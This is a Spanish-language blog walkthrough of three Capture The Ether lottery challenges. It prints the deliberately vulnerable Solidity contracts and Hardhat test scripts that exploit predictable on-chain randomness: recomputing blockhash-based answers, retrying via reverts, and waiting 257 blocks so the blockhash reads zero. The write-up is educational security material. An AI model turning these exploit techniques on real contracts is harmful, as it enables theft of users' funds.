• Inicio
  • Posts
    • Todos
    • Buscar por etiqueta
  • Acerca de
    • bengalaQ photo

      bengalaQ

    • Más
    • Email
    • Twitter
    • Github

Capture The Ether - Parte 2

31 Jul 2022

Tiempo de lectura ~11 minutos


En este segundo capítulo intentaré explicar los desafíos:

1. Guess the new number
2. Predict the future
3. Predict the block hash

1. Guess the new number

Problema:

"El número ahora se genera bajo demanda cuando se intenta adivinarlo."

El contrato que atacaremos será el siguiente

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

Datos de lectura:

  • Answer se genera bajo demanda, por lo que no podemos intentar lo mismo que en Guess the random number.
  • Sabemos la lógica dentro de la función guess que genera el valor de answer.

Ideas para soluciones:

  • La lógica para generar el valor de answer ¿Podría ser utilizada antes de invocar a la función guess del contrato GuessTheNewNumberChallenge?

Explicación:

Bien, desarrollemos un poco más esto de "utilizar antes la lógica que genera un answer" viendo cómo está compuesta la misma. En Guess the random number vimos qué era keccak256, eso ya lo sabemos. Pero ¿block.blockhash, block.number, y now?
  1. Now: Es el viejo y confiable timestamp. Pero viejo y confiable es un decir, ya veremos por qué.
  2. Block.blockhash: Es el hash de un bloque dentro de la blockchain. Si se intenta obtener un hash de un bloque posterior al actual, o ubicado más de 256 posiciones detrás, este parámetro valdrá cero.
  3. Block.number: Indica el número de un bloque en la blockchain.
¿Y ahora? Bueno, algo que se nos puede ocurrir es que si el blockhash y number son datos que se pueden obtener directo de la blockchain, podríamos ver qué valor tienen en un momento específico, ir corriendo y a la velocidad de la luz probar con esos valores y darnos cuenta que... no va a funcionar 😩.

¿Por qué? La realidad es que nuestro escenario no es como lo que solemos conocer de internet. Aquí, la invocación a una función que modificará el estado de la blockchain (a.k.a Transacción --> GuessTheNewNumber nos dará 2 ether tras adivinar su answer) no será instantánea, ya que es necesario que la misma ingrese en la mempool, que un minero (o validador en PoS) la tome, la EVM ejecute opcodes y muchas cosas raras más. ¿Que de qué estoy hablando?

Nada, vos simplemente recordá que Transacción --> NO es instantánea, y en ese tiempo que tarda en hacer todo lo de arriba, los datos que tomamos ya podrían haber cambiado su valor (otro bloque con otro hash, otro number, etc). (PD: Tranquile, aprenderemos todo eso raro de arriba a su debido momento).


Ahora, es momento de nuestra primera jugada sucia: crear un contrato que ataque a GuessTheNewNumberChallenge. ¿Un contrato para atacar a otro contrato? Oh yeah.

La idea es que dentro de la blockchain, tengamos un contrato que pueda generar el mismo answer que GuessTheNewNumber, y realizar un guess con este valor. Con esto nos aseguramos que el cálculo se hará con las variables apropiadas y que no cambiarán repentinamente.

Puede que a esta altura ya te hayas dado cuenta de cómo será la solución, pero yo no tuve esa suerte. Tuve un problema con el viejo y conocido timestamp (a.k.a "now").

Mi duda podemos verla mejor en esta obra de arte creada en paint.



Si pudiste responder la pregunta que figura en la obra de arte ¡Enhorabuena! 10 puntos para Gryffindor. Sin embargo, para les que somos Hufflepuff, capaz nos quedó la duda. Y la respuesta la encontramos en el yellow paper de Ethereum:



Básicamente lo que nos muestra este recorte son las propiedades que contiene el header de un bloque, y entre ellas figura el timestamp, que NO ES UN TIMESTAMP QUE CAMBIA TRANSACCIÓN A TRANSACCIÓN, este timestamp es el de CONCEPCIÓN DEL BLOQUE.

Entonces, con los conocimientos sobre keccak, block.blockhash, block.number, now y la posibilidad de crear un contrato que nos ayude a atacar a GuessTheNewNumberChallenge, ¡Pasemos a la acción!

Test a ejecutar:


Contrato que usaremos para atacar a GuessTheNewNumberChallenge



Test que ejecutaremos
PD: Recordar cambiar las address según corresponda.

  import { expect } from "chai";
  import { ethers } from "hardhat";
  import { Contract, BigNumber } from "ethers";

  let newNumberContract: Contract;
  let attackerNewNumberContract: Contract;

  beforeEach(async ()=>{
    const newNumberFactory = await ethers.getContractFactory("GuessTheNewNumberChallenge");
    newNumberContract = newNumberFactory.attach("0xDF44b94E500CC9cAba7BE9365794AF4320df0C7f");
    const attackerNewNumberFactory = await ethers.getContractFactory("TheNewNumberChallengeAttacker");
    attackerNewNumberContract = await attackerNewNumberFactory.deploy();
  })

  describe("Guess The New Number", async()=>{
    it("Resuelve el Lottery challenge - Guess The New Number", async()=>{
      const tx = await attackerNewNumberContract.atacarNewNumberChallenge(newNumberContract.address,{
        value: ethers.utils.parseEther("1"),
        gasLimit: 1e5
      });
      console.log(tx.hash)
      tx.wait();
      let isComplete:boolean = await newNumberContract.isComplete();
      if (isComplete) {
        console.log("DESAFÍO RESUELTO. Retirando ETH...");
      }

      expect(isComplete,"DESAFÍO INCOMPLETO").to.be.true;
    })
  })

  

Conclusión:

Confiar en variables que cambien según el estado de la blockchain no es algo que nos asegure la generación de un valor aleatorio. Para ello existen otras herramientas, como los Oráculos, por ejemplo.


2. Predict the future

Problema:

"Esta vez, debe bloquear su intento por adivinar antes de que se genere el número aleatorio. Para darte una oportunidad deportiva, solo hay diez respuestas posibles. Tenga en cuenta que, de hecho, es posible resolver este desafío sin perder ningún ether."

El contrato que atacaremos será el siguiente

pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;

    function PredictTheFutureChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

Datos de lectura:

  • Este contrato se parece mucho al del desafío previo, con la salvedad de lockInGuess y la operación módulo 10 (el % 10 turbio).
  • El desarrollador sigue creyendo en la generación de un número random onchain. Creo que en parte es como yo, que creí en Papá Noel más de la cuenta (hasta los 13 🎅🎄).

Ideas para soluciones:

  • Podemos usar un contrato para generar el mismo valor en answer.
  • El problema ahora radica en realizar la llamada a settle() en el momento justo.

Explicación:

El momento justo

Agarrá tu smart watch, tu reloj de arena y cualquier otro reloj que tengas. ¿Los tenés? Bueno, ahora vamos a hacer un experimento en el que no los necesitarás para nada 😋

Este desafío nos sirve para entender cómo funciona un revert, o en criollo, cuándo y cómo una transacción se revierte.

¿Escuchaste hablar de "La EVM" o "Ethereum Virtual Machine"? Si no lo habías hecho, quiero que escribas "La EVM es lo más grande que hay" con esta lapicera. Acá esa máquina es palabra santa mi queridísime amigue. Esta máquina virtual entre otras cosas, al comenzar a procesar una transacción se guarda un estado inicial, y en caso que la transacción falle, todo volverá a la normalidad con ese estado guardado previamente. Maravilloso, ¿No? Te dije, la EVM es un regalo de Papá Noel a nuestros queridísimos 73 años. Gracias donde sea que estén Greg y Gavin Noel.

Lo que sigue simplemente es invocar a la función settle() y en caso de pifiarla, revertir la transacción para intentar nuevamente. Así sucesivamente hasta dar con el tan esperado momento justo. Esto lo logramos utilizando la función de Solidity llamada require(), tal y como veremos a continuación.

Test a ejecutar:


Contrato que usaremos para atacar a PredictTheFuture



Test que ejecutaremos
PD: Recordar cambiar las address según corresponda.

    import { expect } from "chai";
    import { ethers } from "hardhat";
    import { Contract } from "ethers";
    import { calmarLaManija } from "../../ayudines/calmarLaManija";

    let predictContract: Contract;
    let attackContract: Contract;

    beforeEach(async() =>{
      const predictFactory = await ethers.getContractFactory("PredictTheFutureChallenge");
      // predictContract = await predictFactory.deploy();
      predictContract = await predictFactory.attach("0x4aD565be896BedF3b6BdCB5752B12CB9A5fFA383");
      const attackFactory = await ethers.getContractFactory("PredictTheFutureAttacker");
      attackContract = await attackFactory.deploy(predictContract.address);
    })

    describe("Predict The Future",async ()=>{
      it("Resuelve el Lottery challenge - Predict The Future",async()=>{
        await attackContract.lockInGuess(2,{
                value: ethers.utils.parseEther("1"),
                gasLimit: 1e5
        });

        while (!await predictContract.isComplete()) {
          try {
            const transaction = await attackContract.attack({gasLimit:1e5});
            console.log("----------------------------------------------------------------");
            console.log(transaction.hash);
          } catch (err:any) {
            console.log(`ATAQUE REALIZADO SIN ÉXITO. ${err.message}`);
          }
          await calmarLaManija(1e4); //Espero, porque si no va a iterar una banda de tiempo mostrando 99999 consologueos. Además puede haber mal funcionamiento porque el valor cambie a mitad de la ejecución.
        }
        const isComplete = await predictContract.isComplete();    
        expect(isComplete, "DESAFÍO INCOMPLETO").to.be.true;
      })
    })

  


ACLARACIONES:
  • No es necesario lockear un número en particular, ya que realizaremos n intentos hasta dar con nuestro objetivo. Simplemente elegí un número entre 0 y 9 (por lo del operador módulo 10).
  • La función calmarLaManija es una pavadita para esperar un poco. Te la dejo en este gist para que nunca falte la calma en tu vida ❤️

Conclusión:

Para este ataque comprendimos cómo funciona un revert y lo explotamos para realizar n intentos. Sin embargo, vale resaltar que el principal problema del contrato víctima recae en la no utilización de un Oráculo, tal y como se lo mencionó en el desafío anterior.


3. Predict the block hash

Problema:

"Adivinar un número de 8 bits es aparentemente demasiado fácil. Esta vez, debe predecir todo el blockhash de 256 bits para un futuro bloque."

El contrato que atacaremos será el siguiente

pragma solidity ^0.4.21;

contract PredictTheBlockHashChallenge {
    address guesser;
    bytes32 guess;
    uint256 settlementBlockNumber;

    function PredictTheBlockHashChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(bytes32 hash) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = hash;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        bytes32 answer = block.blockhash(settlementBlockNumber);

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

Datos de lectura:

  • Ahora el valor de answer solo se calcula mediante un blockhash.
  • El tipo de variable de answer cambió de uint8 a bytes32. Deberemos tener esto en cuenta a la hora de lockear nuestro guess.

Ideas para soluciones:

  • ¿No habíamos visto algo interesante del blockhash antes?

Explicación:

Blockhash

Por si no subiste a ver de qué estoy hablando, dicen que una imagen vale más que mil palabras:



Este desafío vamos a poder resolverlo si al momento de tomar el blockhash, el bloque número settlementBlockNumber se encuentra a más de 256 bloques de distancia (al menos 257 bloques fueron minados luego de su concepción).

Test a ejecutar:

Test que ejecutaremos
PD: Recordar cambiar las address según corresponda.

import { expect } from "chai";
import { ethers } from "hardhat";
import { Contract } from "ethers";
import { calmarLaManija } from "../../ayudines/calmarLaManija";

let blockhashContract: Contract;
const challengeAddress: string = "0x3a476198a3d3176a31a0d9746e9B16a830bb952B";

beforeEach(async () => {
  const blockhashFactory = await ethers.getContractFactory("PredictTheBlockHashChallenge");
  blockhashContract = await blockhashFactory.attach(challengeAddress);
})

describe("Predict The Blockhash", async () => {
  it("Resuelve el Lottery challenge - Predict the block hash", async () => {
    await blockhashContract.lockInGuess(ethers.constants.HashZero, {
      value: ethers.utils.parseEther("1"),
      gasLimit: 1e5
    });

    //Espero que se minen 256 bloques más para asegurar que cuando se haga block.blockhash(BloqueDelContratoVictima), la EVM devuelva un valor determinístico (cero).
    for (let i = 0; i < 257; i++) {
      await ethers.provider.send("evm_mine", []); // Usamos el método RPC para minar un bloque manualmente. También se puede "simular" el minado de bloques desde hardhat.config https://hardhat.org/hardhat-network/reference/#mining-modes
      console.log(await ethers.provider.getBlockNumber());
    }
    console.log("--------------SE HAN MINADO 256 BLOQUES!--------------");
    

    await blockhashContract.settle({ gasLimit: 1e5 });
    const isComplete = await blockhashContract.isComplete();
    expect(isComplete, "DESAFÍO INCOMPLETO").to.be.true;
  })
})

ACLARACIONES:
  • Para resolver este desafío en la red de ropsten y obtener los puntos en CTE, se puede alterar este script para que se chequee constantemente el blockNumber de la red, y una vez que se hayan minado 256 bloques, ejecutar la llamada a "settle". Sin embargo, por timeouts del test o posibles complicaciones en la máquina que ejecute el script, es recomendable invocar el método lockInGuess con el hash 0x000... servirse un buen Ferneth y volver después de un tiempo, donde ya seguramente se habrán minado 256 bloques, y llamar a la función "settle".

Conclusión:

A lo largo de estos 3 desafíos pudimos comprobar qué tan segura es la generación de números random onchain: 0. Acordate de los Oráculos, para estos escenarios pueden ser grandes amigos.


Y hasta acá llegamos por hoy. Fue algo divertido, ¿no?
Con estos 3 desafíos finalizamos el bloque Lottery. ¡Felicitaciones! El próximo bloque se llama Math, y si bien muchas de las vulnerabilidades que veremos en él hoy en día ya fueron arregladas, existen algunos mecanismos interesantes que SÍ pueden ser aún aprovechados por un atacante.
Hasta la próxima, no te alteres.

bengalaQ


ctechallengeresolución Tweet +1